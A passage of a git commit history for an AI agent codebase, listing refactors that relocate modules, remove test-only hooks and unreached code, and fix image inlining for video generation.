Commit Graph

5991 Commits

Author SHA1 Message Date
Teknium
5c4db986bb fix(video_gen): downscale inlined images only for providers with a body cap
Review finding on this PR: the tool layer ran every video backend's sources
through the FAL helper, which also downscales to the managed FAL gateway's
3.5 MB budget. xAI, OpenRouter and DeepInfra have no such cap, so a large
data: URL the caller already supplied (or a big local file) was silently
re-encoded smaller (2048x2048 PNG -> 1536x1536 JPEG) for them.

Split the guarded path-to-data: conversion from the budget fit. The tool
layer always does the former; it applies the latter only when the active
provider declares `max_inline_image_chars` in capabilities(). FAL declares
the managed gateway's budget; the others send images at full size.
2026-11-17 02:36:12 -08:00
Teknium
c237832474 fix(video_gen): accept local image paths for image-to-video on every backend
On the local terminal backend, video_generate handed the model's file path
straight to the provider. FAL and the OpenAI-compatible backends (DeepInfra)
put it in the JSON payload as-is and the remote API cannot fetch it;
OpenRouter refused it outright. Only xAI inlined local files itself.

Inline path-shaped sources as data: URLs at the tool layer through the same
guarded resolver image_generate uses for FAL (credential-store guard, image
sniff, downscale to the managed gateway's body budget). URLs and data: pass
through unchanged. The schema now says local paths are accepted.

Salvages the intent of #30194 (inline local paths as data: URLs).

Co-authored-by: Edgardo Lozada <elozadaf@users.noreply.github.com>
2026-11-17 02:36:12 -08:00
alt-glitch
40d1e95f37 refactor(teams): move the Microsoft Graph auth and client into the teams_pipeline plugin
Some checks failed
Skills Index Freshness Check / check-freshness (push) Has been cancelled
Skills Index Freshness Check / check-catalog-cors (push) Has been cancelled
Docs Search Monitor / probe (push) Has been cancelled
Deploy Site / deploy-vercel (push) Has been cancelled
Deploy Site / deploy-docs (push) Has been cancelled
Build Skills Index / build-index (push) Has been cancelled
Build Skills Index / trigger-deploy (push) Has been cancelled
auto-fix lint issues & formatting / Generate eslint --fix patch (push) Has been cancelled
auto-fix lint issues & formatting / Apply patch (push) Has been cancelled
Canary Release / Tag, draft, and start the canary build (push) Has been cancelled
Canary Release / Prune canaries older than 14 days (push) Has been cancelled
Live provider canaries / Live provider canaries (push) Has been cancelled
tools/microsoft_graph_auth.py and tools/microsoft_graph_client.py register
no tool and only Teams code imports them, four of six imports from
plugins/teams_pipeline/. They move there as graph_auth.py and
graph_client.py, with their two tests under tests/plugins/teams_pipeline/.

- Importers change one import line where it stands; summary_writer.py
  keeps its imports inside _build_graph_client.
- The Graph client's only core import, parse_retry_after_seconds, is on
  the published plugin API.
- boundary_lint baseline drops the 8 rows for these imports; an import of
  another in-tree plugin is not a crossing (module_to_core 833 -> 825).
- The Graph app registration guide and its zh-Hans copy name the new path.
- Nothing stays at the old paths; neither module is on a frozen list.

Measured: with teams_pipeline disabled, Graph delivery from the Teams
summary writer still works, but its first call now imports the
teams_pipeline package (17 Hermes modules instead of 2), because
plugins/teams_pipeline/__init__.py imports its CLI.
2026-11-17 09:09:45 +05:30
alt-glitch
458a0046ad refactor(agent): six checkpoint files move from tools/ to agent/checkpoints/
tools/ holds model tools. These six files register none: they snapshot and
restore a working directory for the agent loop, /rollback, /undo's
changed-files line and `hermes checkpoints`. They move next to the agent
loop that takes the checkpoints:

  tools/checkpoint_manager.py                -> agent/checkpoints/manager.py
  tools/checkpoint_maintenance.py            -> agent/checkpoints/maintenance.py
  tools/checkpoint_pruning.py                -> agent/checkpoints/pruning.py
  tools/checkpoint_refs.py                   -> agent/checkpoints/refs.py
  tools/checkpoint_undo_hint.py              -> agent/checkpoints/undo_hint.py
  tools/checkpoint_manager_profile_rename.py -> agent/checkpoints/manager_profile_rename.py

agent/checkpoints/__init__.py is a docstring only. Nine test files move to
tests/agent/checkpoints/. Every importer changes its import line in place,
inside the same function. Nothing stays at the old paths: none of the six
names is on the plugin API list, the shipped-release list or the
old-updater list.

Behaviour is unchanged. The four loggers keep their tools.checkpoint_*
names, so the lines stay under `hermes logs --component tools`. The folder
is not a root checkpoints/ package because the checkpoint store is
HERMES_HOME/checkpoints, which is the same directory as such a package on an
install whose checkout root is HERMES_HOME. agent.* is already packaged, so
pyproject.toml and the lists of root packages do not change.

The import and docs rewrites were made by scripts/move/rewrite_imports.py
and rewrite_docs.py.
2026-11-16 19:21:55 -06:00
alt-glitch
5b7b215a0d refactor(plugins): plugin install scan moves from tools/ to hermes_cli/
tools/ holds model tools. These two files register none: they are the
security scan that `hermes plugins install`, `update` and `validate` run
on a plugin tree, and every caller is a hermes_cli plugin command. They
move to hermes_cli:

  tools/plugin_guard.py         -> hermes_cli/plugins_install_scan.py
  tools/plugin_guard_context.py -> hermes_cli/plugins_install_scan_context.py

Their three test files move with them to tests/hermes_cli/. Every importer
changes its import line in place, so no module is imported earlier or
later than before.

tools.plugin_guard keeps working. tests/compat/old_updater_surface.json
lists three of its names, because a `hermes update` from v0.21.6 to
v0.23.1 keeps running old code after the checkout swap and imports
tools.plugin_guard from the new tree (hermes_cli/plugins_cmd.py:209 at
v0.23.1). This is the first use of the compat table: one MOVES key, one
REQUIRED_NAMES row, and tools/plugin_guard.py written by
scripts/move/generate_shims.py. That file makes the old name the same
module object as the new one, so an old updater still runs the real scan.
tools.plugin_guard_context is on no frozen list and gets nothing.

Behaviour is unchanged. Neither file has a logger.

The import and docs rewrites were made by scripts/move/rewrite_imports.py
and rewrite_docs.py; comments that named the old module stems were fixed
by hand; the two gateway contract files are regenerated from the
docstring that names the module.
2026-11-17 06:41:24 +05:30
alt-glitch
43dc9a0a28 refactor(delegation): siblings read config from its owner, not back through the facade
The delegate_tool_* siblings imported names back from tools.delegate_tool
inside functions only so tests could patch `tools.delegate_tool.<name>`
(routes said so: "the facade is the patch seam"). That kept a facade <->
sibling import cycle and a function-level import at each read.

- child_run owns the heartbeat/stale-grace constants (only it reads them)
  and imports _get_child_timeout, _get_subagent_approval_callback,
  _get_worktree_isolation, _resolve_workspace_hint and terminal_tool's
  set_approval_callback at module top.
- config drops `_cfg()` (a loop back to its own `_load_config`) and the
  loop back for `_get_max_concurrent_children`, defined in the same file.
- routes, dispatch and continue import their config getters at module top.
- `_load_config` is read through `delegate_tool_config._load_config` by the
  facade, continue, results and process_registry_notifications, so one
  patch target reaches every reader, as the facade target did before.
- cronjob_tools, process_registry_notifications and subagent_lifecycle read
  these names from their owner; the facade stops importing the names its
  body never used, so a stale facade patch now fails instead of silently
  doing nothing.

Tests move their patches to the module whose code reads the name. Two
worktree tests that patched `_resolve_workspace_hint` on the facade relied
on it reaching both the facade's prompt build and child_run's worktree
setup, so they now patch both readers. Every delegate_tool* module imports
cleanly as the first import in a fresh interpreter.
2026-11-16 21:58:16 +05:30
alt-glitch
0ce88cc5a6 test(core): toolset requirements stop naming the check of a removed tool
After a tool with a check_fn is deregistered from a toolset that still holds
other tools, registry.get_toolset_requirements() kept returning the removed
tool's check_fn. It now derives check_fn from the tools still registered.
2026-11-16 21:57:49 +05:30
alt-glitch
5cc66d503d refactor(core): drop the registry's stale toolset-check map and TOOL_TO_TOOLSET_MAP
ToolRegistry._toolset_checks, its four upkeep sites and _snapshot_state are
gone. The snapshot already overlaid every live entry's check_fn on that map, so
the map could only contribute an entry for a toolset that no longer has a
check_fn member. Such a toolset holds a tool without check_fn and is therefore
always available, and its only reader (banner.py, presence of check_fn on an
unavailable toolset) never sees it. get_toolset_requirements now derives
check_fn from the live entries (last one wins, as before); the
model_tools.TOOLSET_REQUIREMENTS dict at import is byte-identical before and
after (probe).

model_tools.TOOL_TO_TOOLSET_MAP had one reader, batch_runner, which used only
its keys; it now uses get_all_tool_names() and gets the same 73-name set. The
doctor printed TOOLSET_REQUIREMENTS[tid]["name"], which is always tid; it
prints tid. Doc references and the doctor's model_tools stubs follow.
2026-11-16 21:57:49 +05:30
alt-glitch
3ef9d30ffd refactor(skills): TapsManager has one read method, list_taps
TapsManager.load and TapsManager.list_taps were one method under two names (list_taps = load). Product code calls only list_taps (hermes_cli/skills_hub.py, tools/skills_hub_search.py); .load() on a TapsManager appeared only in tests. The method is now defined as list_taps and the alias is gone; the tests call list_taps.
2026-11-16 21:57:07 +05:30
alt-glitch
17b953d8b7 refactor(skills): skill_manager_tool uses skills_tool's skills-dir resolver
tools/skill_manager_tool.py carried its own HERMES_HOME, SKILLS_DIR,
_SKILLS_DIR_AT_IMPORT and _skills_dir(), a second copy of the ones in
tools/skills_tool.py with the same body. No product code reads the
manager's attributes, and the dashboard swap that wrote them is gone, so
the manager now imports _skills_dir from tools.skills_tool (no cycle:
skills_tool does not import the manager). Tests now patch one attribute,
tools.skills_tool.SKILLS_DIR, to point both modules at a temp skills dir.
2026-11-16 21:57:07 +05:30
alt-glitch
d90dc4daa6 refactor(environments-terminal): drop test-only aliases from product code
- ProcessRegistry._log_delta_command (staticmethod alias of log_delta_command): its only
  production use was the one internal call, which now calls log_delta_command.
- _load_hermes_env_vars in environments/ssh.py and docker.py: module rebinding kept only
  for tests to patch; tests now patch load_hermes_env_vars on the same module.
- env_probe.get_environment_probe_line(force_refresh=...): documented as test-only; no
  caller passes it (gateway/run.py, agent/system_prompt.py) and tests already reset via
  _reset_cache_for_tests().
- managed_modal: touch_activity_if_due is imported at module top. The lazy import and the
  try/except existed only for a test stub of tools.environments.base; touch_activity_if_due
  already swallows callback errors itself. The stub now provides the name.

None of these names is in plugin_api.json or the frozen updater surface.
2026-11-16 21:56:33 +05:30
alt-glitch
0cbf579e63 refactor(environments-terminal): resolve the process checkpoint path per call
Delete CHECKPOINT_PATH and _CHECKPOINT_PATH_AT_IMPORT from tools/process_registry.py.
_checkpoint_path() returned the constant only when a test had patched it; production
never patches it, so every real call already took get_hermes_home() / "processes.json".
The constant was also an import-time read of HERMES_HOME. No other production reader,
not in plugin_api.json or the frozen updater surface.

Tests and evals/completion_backlog_probe.py now patch _checkpoint_path itself.
2026-11-16 21:56:33 +05:30
alt-glitch
288a627470 refactor(connectors-mcp): delete live.reset_for_tests
tools/connectors/live.reset_for_tests cleared the open-operation map
under its lock. Nothing outside tests called it (rg live.reset_for_tests
outside tests/: 0 hits). The twelve test fixtures that used it now clear
the module's real _open dict, which is the same reset.
2026-11-16 21:55:47 +05:30
alt-glitch
d40d087170 refactor(connectors-mcp): drop the MCP loop's context re-set wrappers
_run_on_mcp_loop wrapped every scheduled coroutine in
_wrap_with_home_override and _wrap_with_dashboard_oauth_flow, which
re-set the caller's HERMES_HOME override and dashboard OAuth flow
inside the task. The comment justifying them said
run_coroutine_threadsafe copies the loop thread's context. It copies
the calling thread's: it schedules through call_soon_threadsafe, whose
Handle captures copy_context() on the caller, and the Task is created
inside that copy. Both values are ContextVars (hermes_scope._STATE and
mcp_dashboard_oauth._current_dashboard_flow), so they already arrive.

A probe that calls _run_on_mcp_loop with no wrappers, from three
threads each holding its own override and flow, in coroutine and
factory form, and reads both from a child task, saw every caller's
values on Python 3.11.11 and 3.14.7. All six call sites schedule
through _run_on_mcp_loop.

The test that only checked the wrapper's no-op path goes; a new test
asserts the dashboard flow reaches the loop. Running the file with
scheduling forced into an empty Context fails all three propagation
tests.
2026-11-16 21:55:47 +05:30
alt-glitch
ccf1d24518 refactor(connectors-mcp): drop MCPServerTask's __slots__
MCPServerTask listed 42 attribute names in __slots__, and two of its
mixins declared empty slots, but MCPServerRunMixin declares none, so
every instance already had a __dict__. The tuple saved no memory and
enforced nothing: _http_rejection and _editor_frozen_manifest were
already stored outside it. It was a third list of the fields to keep
in step with __init__.

A probe on the base showed every slotted name is set by __init__ and no
base class defines a class attribute of the same name, so moving the
values into __dict__ changes no lookup. The reconnect test's
try/except AttributeError guard existed only because of the slots.
2026-11-16 21:55:47 +05:30
alt-glitch
d2480ea076 refactor(code-files): inline _ship_file_to_remote, move the kernel kill into code_kernel
_ship_file_to_remote was _remote_write(..., check=True) under another
name; its five call sites (code_execution_tool, code_kernel_remote) call
_remote_write with check=True directly. code_kernel_remote now imports
_remote_write, _execute_checked and _private_dirs_cmd from
code_execution_rpc at module top, which drops two function-level imports
back into the tool file.

_kill_process_group lived in code_execution_tool but its one caller is
SessionKernel.teardown in code_kernel, which always passed escalate=True.
It moves to code_kernel without the parameter (always SIGTERM, wait 5s,
SIGKILL), with signal and agent.deadline imported at module top. The
escalate=False branch was reached only by tests.

Tests patch _remote_write in both modules where they patched the wrapper.
test_code_kernel_owned_group stubs the teardown kill to a SIGTERM-only
tree kill for its precondition instead of passing escalate=False.
2026-11-16 21:55:16 +05:30
alt-glitch
b3f468205e refactor(code-files): resolve the checkpoint base per call, drop CHECKPOINT_BASE
tools.checkpoint_manager read get_hermes_home() at import into
CHECKPOINT_BASE and kept _CHECKPOINT_BASE_AT_IMPORT so that
_resolve_checkpoint_base() could tell whether a test had patched it. The
constant existed only for tests; product code wants the live profile home.
_resolve_checkpoint_base() now returns get_hermes_home() / "checkpoints".

The one other reader, `hermes checkpoints clear`, checked the import-time
constant for "nothing to clear" while store_status() used the live base, so
under an in-process profile scope it could act on the launch profile's
directory. It now calls _resolve_checkpoint_base(). In a separate CLI
process the import-time and live homes are the same, so its output is
unchanged there.

Tests drop the 37 CHECKPOINT_BASE patches and use the per-test HERMES_HOME
that tests/conftest.py already isolates.

tests/hermes_cli/test_checkpoints_clear_profile.py covers `hermes checkpoints clear` for a profile
with no checkpoints in a process that loaded the module under another profile: exit 0 and
"Nothing to clear". It fails without this change (exit 2).
2026-11-16 21:55:16 +05:30
alt-glitch
d9c8b206ab refactor(code-files): drop the write guards' test-override slots
_get_hermes_config_resolved and _get_real_hermes_home kept four module
globals (_hermes_config_resolved[_loaded], _real_hermes_home_cached/_loaded)
that only tests set, two one-line resolver wrappers, and an exception
fallback that recomputed the same value. get_config_path() is
get_hermes_home() / "config.yaml", and the home fallback called the
identical os.path.realpath(str(get_hermes_home())) again, so it could only
fail the same way. Each getter is now one per-call resolve that returns
None on failure, as before. The function-level hermes_cli.config import
(an upward import from tools/) and three hermes_constants imports go.

Tests pin the config path by monkeypatching _get_hermes_config_resolved or
by pointing HERMES_HOME at tmp_path, which exercises the real resolution.
2026-11-16 21:55:16 +05:30
alt-glitch
c5eb493375 refactor(browser-desktop): move computer_use test seams out of tools/computer_use/tool.py
Four things in tool.py existed only for tests:

- the module-level _backend injection hook (its own comment: "backward-
  compatible empty-session injection hook (older tests)") and its mirror
  branches in _install_backend, _detach_locked, _get_backend and
  _shutdown_backend_atexit. Production installs backends only through
  _new_backend into the _backends cache, so with nothing assigning _backend
  every branch was a no-op. The two tests that assigned it now patch
  _new_backend, the seam the rest of the suite already uses; the atexit
  tests seed _backends instead.
- reset_backend_for_tests, now tests/computer_use_fakes.reset_backend (the
  same two calls: _shutdown_backend_atexit, _reset_screenshot_dedup).
- _noop_stub and _NoopBackend (pragma: no cover, docstring "Test stub"),
  moved verbatim to tests/computer_use_fakes.py as noop_stub / NoopBackend.
- the _bounds_scale and _bounds_space_note lambdas, which only indexed
  _bounds_hints; the tests index _bounds_hints directly.

None of these names is in hermes_cli/data/plugin_api.json (it publishes
tools.computer_use.backend only) or tests/compat/old_updater_surface.json.
2026-11-16 21:54:46 +05:30
alt-glitch
7d497393f6 refactor(browser-desktop): move bot_desktop test oracles out of product code
runtime.BINARY_PACKAGES existed only so the test suite could check that each
binary the launcher execs comes from a package in PACKAGES; no product code
read it. The map now lives in tests/tools/test_bot_desktop_runtime.py, the
one test that reads it, and runtime.py keeps the Fedora WHY next to
PACKAGES.

lease._reset_for_tests had no product caller. tests/bot_desktop_lease.py
reset_lease() does the same thing against the real module (clear
lease._listeners under lease._lock, unlink lease.json/.lock/.json.tmp at
lease._path(None)), and the eight test files that used the seam call it.
2026-11-16 21:54:46 +05:30
alt-glitch
978ed3a52d refactor(browser-desktop): browser_use_cli floors PATH with browser_lightpanda.merge_sane_path
browser_use_cli._FHS_BIN_DIRS + _floor_subprocess_path restated
browser_lightpanda._SANE_PATH_DIRS + merge_sane_path: the same eight dirs in
the same order, the same rule (drop empty entries, keep the existing order,
append each dir that exists and is not already present). A probe over four
input PATHs (empty, /usr/bin:/bin, an nvm-only PATH, one with an empty entry
and an already-present floor dir) gave identical output from both.

The one difference was the Windows guard in the copy, so merge_sane_path now
returns its input unchanged on nt. Lightpanda's only caller already returns
before it on nt, so nothing there changes. The PATH-order test now goes
through _base_subprocess_env, the behaviour the floor exists for.
2026-11-16 21:54:46 +05:30
alt-glitch
1752b97be3 refactor(browser-desktop): bot_desktop install slot is one dict, not a set plus a dict
install._running held exactly the keys of install._slot_files: claim()
added to both under _install_lock and release() dropped from both under
the same lock, so "key in _running" and "key in _slot_files" always gave
the same answer. claim() now checks _slot_files; the set is gone. The test
teardown releases held slots instead of clearing the set.
2026-11-16 21:54:46 +05:30
alt-glitch
0f53b6cd4d refactor(browser-desktop): delete desktop_ui.available
No product code calls it: every desktop tool reads emit()'s False return
(or emit_or_error) to report "desktop only". The only caller was
tests/tools/test_desktop_ui.py, whose two cases already assert the same
fact through emit(). Not in hermes_cli/data/plugin_api.json.
2026-11-16 21:54:46 +05:30
alt-glitch
7ebec7fed2 refactor(speech): stop resolving the TTS output dir at import
tools/tts_tool.py resolved the profile's audio cache dir at import
(DEFAULT_OUTPUT_DIR = _DEFAULT_OUTPUT_DIR_AT_IMPORT = ...) only so a test
or "external patcher" that replaced DEFAULT_OUTPUT_DIR would win over the
per-call resolution _default_output_dir() already did. No caller outside
tts_tool.py reads either name (the website/scripts hit is an unrelated
local), neither is in plugin_api.json or old_updater_surface.json, and no
test patches DEFAULT_OUTPUT_DIR.

_default_output_dir() now just resolves get_hermes_dir per call (the
function-level import moves to the module top), so importing the module
reads no profile home. The profile-scope test sets HERMES_HOME instead of
reloading the module and still fails if the dir is frozen at import.
2026-11-16 21:53:44 +05:30
alt-glitch
a54daf9a5f refactor(speech): import the built-in STT/TTS names into the agent registries
agent/transcription_registry.py and agent/tts_registry.py held hand
copies of BUILTIN_STT_PROVIDERS and BUILTIN_TTS_PROVIDERS, guarded by two
TestBuiltinSync drift tests. Their comments said importing the real sets
would be a circular import. It is not: the sets live in
tools.transcription_common and tools.tts_command_provider, which import
only each other, hermes_cli.process_identity and utils, and load no
agent.* module. Both copies equal the real sets today.

The registries now import the real sets; the copies, the stale comments
and both drift tests are gone. An import probe shows no cycle and no
heavy module (openai, numpy, httpx, faster_whisper, tools.registry,
tools.tts_tool all stay unloaded). After hermes_cli.plugins, the import
that registers plugin providers, the new modules cost about 3.5 ms once.
2026-11-16 21:53:44 +05:30
alt-glitch
78f3677c7e refactor(speech): drop the ignored provider argument of text_to_speech_tool
text_to_speech_tool took a `provider` argument and always ignored it:
_apply_call_overrides returned the configured provider and only logged a
once-per-value warning (_warn_ignored_tts_provider_override,
_once_warnings). The model path never reaches it, because the registered
handler forwards only output_path, speed, instructions, voice_id and
find_voices. Every product caller passes text and output_path only
(tts_tool_speaker, web_routers/audio, cli_voice_mixin, voice,
base_auto_tts, the Discord adapter); an AST scan finds no provider= or
fifth positional argument outside tests. The function is not in
plugin_api.json or old_updater_surface.json.

The signature, the provider half of _apply_call_overrides, the warning
helper and its set are gone. The tests that called the function
directly with provider= tested only the removed argument; the schema
test and the registered-handler "provider arg does not reroute" test
stay.
2026-11-16 21:53:44 +05:30
alt-glitch
dc516d9d2a test(browser-desktop): pin desktop_preview close on the live path
- Four tests through _handle_preview(action=close): the whole-pane payload, a bare domain normalised like open, the desktop-only error and an emitter failure. The tests that covered these cases exercised close_preview_tool, which is gone.
- One docstring word in cua_backend_session.

Co-authored-by: BearHuddleston <BearHuddleston@users.noreply.github.com>
2026-11-16 21:53:19 +05:30
alt-glitch
f8acc26834 refactor(gateway): outbound send files move from tools/ to gateway/outbound/
tools/ holds model tools. These three files register none: they send a
message to a platform for `hermes send` and for cron delivery, through
gateway adapters and gateway config. They move to the gateway package:

  tools/send_message_tool.py    -> gateway/outbound/send.py
  tools/send_message_senders.py -> gateway/outbound/senders.py
  tools/send_message_targets.py -> gateway/outbound/targets.py

Twelve test files move with them to tests/gateway/outbound/. Every importer
changes its import line in place. Nothing stays at the old paths: none of
the three names is on the plugin API list, the shipped-release list or the
old-updater list.

Behaviour is unchanged. The logger name stays tools.send_message_tool in
the three files and in the QQ Bot sender that shares it, so the lines stay
under `hermes logs --component tools`. The boundary-lint baseline changes
12 keys and no count, because its keys carry the module path of the
underscore names five bundled plugins import.

The import and docs rewrites were made by scripts/move/rewrite_imports.py
and rewrite_docs.py.
2026-11-16 18:09:07 +05:30
alt-glitch
611f0ab757 refactor(cron): three cron helper files move from tools/ to cron/
Some checks failed
Deploy Site / deploy-vercel (push) Has been cancelled
Deploy Site / deploy-docs (push) Has been cancelled
Skills Index Freshness Check / check-freshness (push) Has been cancelled
Skills Index Freshness Check / check-catalog-cors (push) Has been cancelled
auto-fix lint issues & formatting / Generate eslint --fix patch (push) Has been cancelled
auto-fix lint issues & formatting / Apply patch (push) Has been cancelled
tools/ holds model tools. These three files register none and do cron's
work, so they move to the package that owns it:

  tools/cronjob_job_args.py    -> cron/job_args.py
  tools/cronjob_prompt_scan.py -> cron/prompt_scan.py
  tools/blueprints.py          -> cron/skill_blueprints.py

Their tests move with them to tests/cron/. Every importer changes its
import line in place, so no module is imported earlier or later than
before. Nothing stays at the old paths: none of the three names is on the
plugin API list, the shipped-release list or the old-updater list.

skill_blueprints, not blueprints: cron/blueprint_catalog.py already holds
Automation Blueprints, a different thing. This file reads the blueprint
block of a skill's frontmatter.

Behaviour is the same except two strings. The report of a run the
injection scanner blocked names cron/prompt_scan.py. The one debug line
in skill_blueprints logs as cron.skill_blueprints, so it shows under
`hermes logs --component cron`. job_args and prompt_scan keep the logger
name tools.cronjob_tools.

The import and docs rewrites were made by scripts/move/rewrite_imports.py
and rewrite_docs.py; the two gateway contract files are regenerated from
the docstring that names job_args.py.
2026-11-16 17:43:16 +05:30
alt-glitch
a1bbd329ea refactor: split utils.py into the utils package
utils.py held three subjects in one 871-line file. It is now a package with
one module per subject: utils/files.py (atomic writes, temp files, file mode
and owner, signatures and digests, JSON and YAML file helpers), utils/urls.py
(the base_url helpers) and utils/env.py (truthy values, env numbers, proxy
env helpers). utils/__init__.py re-exports every public name, so no importer
changes. Function bodies are unchanged, no function-level import moved, and
the logger keeps the name "utils".

Tests patch a name in the module that now defines it. Patches stay on the
package where production reads the name through a function-level
"from utils import". The tests of utils itself move to tests/utils/.

A root module that becomes a folder drops out of anything that copies root
*.py files plus a fixed list of packages, so the fixtures that build a partial
source tree now list utils, as do pyproject's packages.find, three check
scripts and the CI change classifier.
2026-11-16 17:16:20 +05:30
alt-glitch
0309b00523 test(core): send_message_tool refuses every action but send
- None, a differently cased name, the removed list/react/unreact actions and an unknown action all return an error and send nothing; a call with no action still sends.
2026-11-16 15:40:08 +05:30
alt-glitch
a2c05c0dd7 fix(core): keep create_custom_toolset for embedding hosts
Projects that embed AIAgent and import toolsets.create_custom_toolset to give it an exact tool list import and run again instead of failing with ImportError.
The shared-bot route-gate tests reach the gate through _live_adapter again, so a change that stops forwarding the target thread now fails them.
The zh-Hans tools reference no longer shows an empty messaging toolset section.
2026-11-16 15:40:08 +05:30
alt-glitch
c4635985a0 refactor(core): delete unreached send_message actions, clarify/session helpers and backend aliases
Removed. A search for callers by name, attribute and string (Python, TypeScript,
docs, the plugin API list and the frozen old-updater list) finds no supported
path that reaches any of them:
- tools/send_message_tool.py: _handle_list, _handle_react and the action
  dispatch in send_message_tool (every caller, including the external
  hermes-snooze plugin, passes action="send")
- tools/bot_failure_reasons.py: is_auto_retryable
- tools/clarify_gateway.py: _notify_cbs, _coerce_text_response,
  attempt_text_response_for_session, resolve_text_response_for_session
- tools/cronjob_tools.py: the unused task_id parameter of cronjob()
- tools/interrupt.py: is_thread_yield_requested
- toolsets.py: create_custom_toolset
- tools/tool_backend_helpers.py: prefers_gateway, REMOVED_BACKENDS,
  removed_backend_note, normalize_modal_mode (callers use coerce_modal_mode)
- hermes_cli/config_value_checks.py: _validate_web_backends (only read the
  always-empty REMOVED_BACKENDS map)

Tests that existed only for these symbols are deleted; tests that also
cover live behaviour now call the canonical live names
(attempt_text_response, _coerce_text_response_detailed, consume_yield).

The shared-bot route-gate tests that reached the gate through the deleted
react action now call _shared_bot_target_allowed directly, so the origin
rules (guild-only, thread-under-channel and user_id routes, Telegram topics,
the turn's sender in a shared channel) keep their coverage. The two error
hints and one comment that named send_message(action='list') now name
`hermes send --list`; the stale send_message row in the zh-Hans tools
reference goes.

Also:
- test_messaging_slash_command_fifo spies on clarify_gateway.attempt_text_response,
  the name gateway/run_inbound.py calls, so its [clarify] case can fail again
- send_message_tool: an action other than 'send' returns an error that names
  `hermes send --list` for listing targets
- multi-profile-gateways.md no longer says send_message sends reactions; the zh-Hans
  simplex.md and tools-reference.md match the English pages
2026-11-16 15:40:08 +05:30
alt-glitch
70c6db1eae refactor(browser-desktop): delete unreached browser and desktop tool code
Removed. A search for callers by name, attribute and string (Python, TypeScript,
docs, the plugin API list and the frozen old-updater list) finds no supported
path that reaches any of them:

- tools/browser_lightpanda.py::_record_path
- tools/computer_use/tool.py::get_computer_use_schema
- tools/computer_use/schema.py::get_computer_use_schema
- tools/computer_use/cua_backend.py::CuaDriverBackend.launch_app (and its test)
- tools/computer_use/cua_backend_session.py::_CuaDriverSession.capability_version
  and the _capability_version bookkeeping
- tools/computer_use/cua_backend_daemon.py::_CUA_DRIVER_BUNDLE_ID (callers use
  CUA_DRIVER_BUNDLE_ID)
- tools/computer_use_tool.py::__all__ and the two imports only it re-exported
- tools/bot_desktop/runtime.py::_allocate_display (its test now calls
  _pick_display, the live allocator)
- tools/bot_desktop/install.py::assert_not_running (its test checks release
  via claim/release)
- tools/close_preview_tool.py (whole module) and tests/tools/test_close_preview_tool.py;
  PreviewClosePayload docstring updated and gateway contract regenerated
2026-11-16 15:39:38 +05:30
alt-glitch
dd478aa3f3 refactor(connectors-mcp): delete unreached connector and MCP OAuth code
Removed. A search for callers by name, attribute and string (Python, TypeScript,
docs, the plugin API list and the frozen old-updater list) finds no supported
path that reaches any of them:
- tools/openrouter_client.py (whole module; check_api_key had test callers only)
- tools/connectors/gateway/__init__.py: re-exports and __all__ (every importer names a submodule)
- tools/connectors/gateway/wire.py::WIRE_BATCH_MAX
- tools/managed_gateway_auth.py::managed_gateway_origin
- tools/discord_tool.py::_detect_capabilities
- tools/mcp_tool_health.py::MCPServerHealthMixin.ensure_healthy
- tools/mcp_oauth.py::build_oauth_auth, HermesOAuthClientProvider, _oauth_port
- tools/mcp_dashboard_oauth.py::DashboardOAuthFlow.profile (write-only field)
- tools/mcp_tool_events.py::EVENT_UTILITY_KEYS
- agent/tool_guardrails.py: mcp_filesystem_* entries in IDEMPOTENT_TOOL_NAMES
  (MCP tools register as mcp__<server>__<tool>)

Tests that covered live code through a deleted symbol now call the live path
(MCPOAuthManager().get_or_build_provider, _fetch_capabilities,
build_vendor_gateway_url); tests that only exercised deleted code are removed.

Kept on purpose: _SSH_HINT_PROXY, its branch, the redirect_uri parameters and
build_provider_kwargs' ssh_proxy_hint. Nothing reaches them today, but they are the
proxy-user hint from d0afcb125ce; wiring it into MCPOAuthManager is a separate fix.

test_cache_is_keyed_by_token now covers _detect_capabilities_nonblocking (two tokens,
memory and disk). ensure_healthy leaves the SuspectableBackend Protocol, which no
backend implements any more.
2026-11-16 15:39:10 +05:30
alt-glitch
733a5cca88 fix(speech): keep listen_for_speech, the public barge monitor plugins may import
- tools/voice_mode.py::listen_for_speech: back as it was, so a plugin that imports it keeps working instead of failing with ImportError.
- tests: TestListenForSpeech and TestListenForSpeechCapture come back, including the two VAD false-trip regression tests, and the fake voice module in the tui_gateway tests carries listen_for_speech again.
2026-11-16 15:38:52 +05:30
alt-glitch
5d7618c47a test(speech): the full-duplex capture test pins every speech block, pre-roll included
- tests/tools/test_voice_mode.py: a full_duplex_listen change that drops the speech before the trip from the WAV now fails test_generation_phase_speech_trips_and_captures.
2026-11-16 15:38:52 +05:30
alt-glitch
25536e5a89 refactor(speech): delete unreached listen_for_speech and a dead STT parameter
- tools/voice_mode.py::listen_for_speech: no caller outside its own tests
  since full_duplex_listen took over barge-in; its inline copy of the
  _capture_until_quiet loop goes with it.
- tools/transcription_tools.py::_is_local_stt_provider: drop the
  stt_config parameter, which the body never read; both callers updated.
- tests: drop TestListenForSpeech and TestListenForSpeechCapture, and the
  unused listen_for_speech attribute on the tui_gateway fake voice module.
2026-11-16 15:38:52 +05:30
alt-glitch
672b2a5a22 refactor(skills): delete unreached hub aliases, blueprint export, lock helper
Removed. A search for callers by name, attribute and string (Python, TypeScript,
docs, the plugin API list and the frozen old-updater list) finds no supported
path that reaches any of them:
- tools/skills_hub_github.py: unused imports subprocess, windows_hide_flags
- tools/skills_hub_github.py::GitHubSource._parse_frontmatter_quick (tests now call
  skills_hub_models._parse_frontmatter directly)
- tools/skills_hub_clawhub.py::ClawHubSource._query_terms/_dedupe_results/_search_score
- tools/skills_hub_skillssh.py::SkillsShSource._strip_html
- tools/skills_hub_official.py::OptionalSkillSource._parse_frontmatter
- tools/skill_lock.py::locked_skill_dirs
- tools/blueprints.py::create_blueprint_job, export_blueprint, _schedule_to_string
  (and their tests in tests/tools/test_blueprints.py)

Also:
- creating-skills.md no longer promises exporting a cron job back to a SKILL.md
  (no code implements it)
- TestBlueprintBridge in tests/cron/test_suggestions.py asserts the job spec carries
  `deliver`, the coverage test_bridges_to_create_job had
- TestParseFrontmatterQuick is renamed TestParseFrontmatter
2026-11-16 15:24:44 +05:30
alt-glitch
40492aca4e refactor(environments-terminal): delete unreached vercel helpers, CredentialRef, failed_start and exit-137 hint
Removed. A search for callers by name, attribute and string (Python, TypeScript,
docs, the plugin API list and the frozen old-updater list) finds no supported
path that reaches any of them:
- tools/environments/vercel_sandbox.py: _exception_chain, _extract_status_code,
  _RETRY_BACKOFF_STEP, _MIN_SANDBOX_TIMEOUT, _MIN_RUNNING_WAIT,
